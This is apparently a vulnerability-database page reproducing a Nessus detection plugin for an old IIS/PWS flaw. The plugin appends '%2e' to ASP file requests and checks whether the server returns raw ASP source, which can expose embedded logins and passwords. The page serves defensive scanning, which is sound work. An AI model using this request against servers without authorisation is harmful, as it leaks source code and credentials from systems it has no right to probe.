Lucene search
K

Microsoft IIS/PWS %2e Request ASP Source Disclosure

🗓️ 10 Apr 2000 00:00:00Reported by TenableType 
nessus
 nessus
🔗 www.tenable.com👁 31 Views

Remote web server allows ASP source code disclosure through '%2e' in the request.

Related
Refs
Code
ReporterTitlePublishedViews
Family
CVE
CVE-1999-0253
4 Feb 200005:00
cve
Cvelist
CVE-1999-0253
4 Feb 200005:00
cvelist
EUVD
EUVD-1999-0253
7 Oct 202500:30
euvd
NVD
CVE-1999-0253
1 Jan 199705:00
nvd
Positive Technologies
PT-1997-1112 · Microsoft · Iis
1 Jan 199700:00
ptsecurity
RedhatCVE
CVE-1999-0253
7 Jan 202609:40
redhatcve
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if(description)
{
 script_id(10363);
 script_version ("1.35");
 script_cvs_date("Date: 2018/06/29 12:01:03");

 script_cve_id("CVE-1999-0253"); 
 script_bugtraq_id(1814);

 script_name(english:"Microsoft IIS/PWS %2e Request ASP Source Disclosure");
 script_summary(english:"downloads the source of ASP scripts");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by an information disclosure flaw." );
 script_set_attribute(attribute:"description", value:
"It is possible to get the source code of a remote ASP script by
appending '%2e' to the end of the request.  ASP source code usually
contains sensitive information such as logins and passwords." );
 script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"plugin_publication_date", value: "2000/04/10");
 script_set_attribute(attribute:"vuln_publication_date", value: "1997/03/19");

 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();
 
 script_category(ACT_ATTACK);
 script_copyright(english:"This script is Copyright (C) 2000-2018 Tenable Network Security, Inc.");
 script_family(english:"Web Servers");

 script_dependencie("find_service1.nasl", "webmirror.nasl", "http_version.nasl", "www_fingerprinting_hmap.nasl");
 script_require_ports("Services/www", 80);
 script_require_keys("www/ASP");
 exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80, asp:TRUE);

function check(file)
{
  local_var w, r, report;

  w = http_send_recv3(method:"GET",item:string(file, "%2e"), port:port, exit_on_fail:TRUE);

  r = strcat(w[0], w[1], '\r\n', w[2]);
  if ("Content-Type: application/octet-stream" >< r && "<%" >< r)
  {
    if (report_verbosity > 0)
    {
      report = 
        '\n' + "Nessus was able to retrieve the source of '" + file + "' by sending" +
        '\nthe following request :' +
        '\n' +
        '\n  ' + build_url(port:port, qs:file+'%2e') + '\n';

      if (report_verbosity > 1)
      {
        report += 
          '\nHere is the full response :' +
          '\n' +
          '\n' + crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + 
          '\n' + r +
          crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
      }
      security_warning(port:port, extra:report);
    }
    else security_warning(port);
    return(1);
  }
  return(0);
}

if(check(file:"/default.asp"))exit(0);
files = get_kb_list(string("www/", port, "/content/extensions/asp"));
if(isnull(files))exit(0);
files = make_list(files);
check(file:files[0]);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jun 2018 12:01Current
5.6Medium risk
Vulners AI Score5.6
CVSS 27.5
EPSS0.02987
31